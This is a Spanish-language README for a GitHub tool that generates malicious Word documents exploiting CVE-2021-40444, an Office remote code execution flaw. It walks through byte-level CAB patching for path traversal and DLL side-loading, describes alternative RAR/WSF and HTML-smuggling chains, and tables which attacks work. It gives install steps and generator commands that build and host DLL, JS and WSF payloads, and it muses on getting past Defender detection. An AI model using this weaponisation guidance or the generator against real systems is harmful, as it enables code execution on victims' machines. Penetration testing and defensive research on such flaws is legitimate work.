tiagob0b/cve-2021-40444Generador de DOCX malicioso que explota CVE-2021-40444 (RCE de Microsoft Office Word) con carga lateral de DLL basada en CAB y cadenas de ataque RAR/WSF sin CAB para pruebas de penetración.
Generador de docx malicioso para explotar CVE-2021-40444 (ejecución remota de código en Microsoft Office Word), funciona con archivos DLL arbitrarios.
Aunque hay muchos PoC por ahí en internet, decidí probar suerte armando esta vulnerabilidad, ya que lo que encontré disponible carecía de información valiosa que valga la pena compartir, considerando además que Microsoft ya lanzó un parche para esta vulnerabilidad.
Hasta ahora, los únicos recursos valiosos que he visto para crear un generador totalmente funcional son:
Los recursos anteriores describen muchos de los requisitos necesarios para crear una cadena completa. Para evitar repetir demasiada información innecesaria, solo resumiré los detalles relevantes.
Hay bastantes requisitos pasados por alto para que este exploit funcione, lo que hizo que incluso buenos PoCs, como el de lockedbyte, fallaran al ejecutarse correctamente.
Quizás nadie los "publicó" explícitamente para evitar que la vulnerabilidad se explotara más. Pero ahora está parcheada, así que no debería causar muchos problemas revelar los detalles.
Según este tweet de Will Dormann, el HTML debe tener al menos 4096 bytes para activar la "Vista previa" en MS Word.
El archivo CAB debe ser parcheado a nivel de bytes para evitar errores de extracción y lograr el ZipSlip:
filename.inf debe convertirse en ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart debe incrementarse en 3 (debido al '../' añadido)CFFOLDER.cCfData CFFILE.cbFile debe ser mayor que el CFHEADER.cbCabinet completoCFDATA.csum Las razones de estas restricciones son muchas, y no dediqué suficiente tiempo a entenderlas todas en profundidad, pero veamos las más importantes:
NOTA1: Defender ahora detecta si el archivo CAB contiene un PE utilizando el valor _IMAGE_DOS_HEADER.e_magic como firma, lo que potencialmente evita que los archivos PE se incrusten en el CAB. ¿Se puede omitir esta firma? No estoy seguro, pero como se observó antes, esta es una vulnerabilidad parcheada, así que no planeo invertir mucho más tiempo en esto. Le corresponde al lector curioso desarrollar esto más a fondo.
NOTA2: El parche de Microsoft bloquea esquemas de URI arbitrarios, aparentemente usando un enfoque de lista negra (esto es solo una suposición)
La principal cadena de ataque asociada con CVE-2021-40444 es el ataque DLL cargado a través del esquema de URI .cpl. Para explotarlo, un atacante necesita generar una DLL especialmente elaborada. Si quieres probarlo, prueba mi script evildll-gen.
Como señaló Max Maluin, es posible interactuar con varios tipos de archivo abusando de IE y del URI basado en la extensión de archivo asociada. Si bien esto puede ser una buena forma de explotar IE, tiene limitaciones.
De hecho, cabe señalar que el método utilizado en el exploit para descargar archivos se basa en actualizaciones de controles ActiveX y no puede usarse para descargar archivos arbitrarios. Según la documentación de Microsoft, la etiqueta codebase solo puede apuntar a unos pocos tipos de archivo: OCX, INF y CAB.
Incluso si podemos descargar directamente un archivo OCX o INF, todavía no podemos asegurar que el archivo se descargue en la ubicación correcta dentro del sistema. Con el exploit CAB, es posible mover el archivo .inf a una ruta bien conocida mediante el path traversal, pero en cualquier otro caso el archivo se almacenará en un directorio aleatorio, lo que hace prácticamente imposible referenciarlo.
A día de hoy, no he encontrado una forma de encadenar descarga y ejecución SIN un archivo CAB.
Nota: Hablando solo de IE, el contrabando HTML (HTML smuggling) podría ser un escenario posible para explotar la vulnerabilidad.
Esta técnica fue divulgada por primera vez por Eduardo Braun en Twitter y explicada más a fondo en este documento.
Ten en cuenta que con esta técnica la cadena de ataque es un poco diferente. Este ataque requiere que el usuario descargue un archivo RAR especialmente elaborado, obtenido combinando un script WSF válido y un archivo RAR válido. Una vez abierto, el RAR contendrá un DOCX con una referencia a un HTML, que a su vez intentará cargar el archivo RAR como un script WSF.
Para resumir:
La utilidad del generador puede reproducir actualmente los siguientes ataques:
| Ataque | Plantillas HTML | Objetivo | Método de entrega | Método de ejecución | Funciona |
|---|---|---|---|---|---|
| Versión original del ataque | cab-orig-* | WORD | DOCX | CAB + DLL | SÍ |
| Ataque solo-IE de j00sean | cab-orig-j00san | IE | HTML | CAB + DLL | SÍ |
| Mi versión sin DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 |
| Ataque "CABless" de Eduardo B. usando RAR | cabless-rar-* | WORD | RAR | WSF | SÍ |
| Ataque modificado de j00sean + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | SÍ2 |
1El CAB no se descarga correctamente en algunos entornos
2El usuario debe hacer clic en "Guardar" para descargar el archivo en IE
La utilidad cab_parser.py se puede usar para ver las cabeceras del archivo de exploit, pero no lo consideres un analizador completo. Es un visor de cabeceras CAB muy rápido y sencillo que desarrollé para entender qué estaba pasando.
El generador está diseñado para funcionar en Windows, ya que utiliza la utilidad makecab. Antes de usarlo, asegúrate de instalar las dependencias necesarias:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
El generador es trivial de usar y, aunque se ha probado con varios payloads y versiones de Windows diferentes, no es infalible. Me estoy encontrando comportamientos diferentes entre distintas compilaciones de Windows. En cuanto tenga más detalles que compartir, los publicaré aquí.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Nota: el puerto se selecciona mediante la URL, y el exploit se genera según la extensión del archivo del payload
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t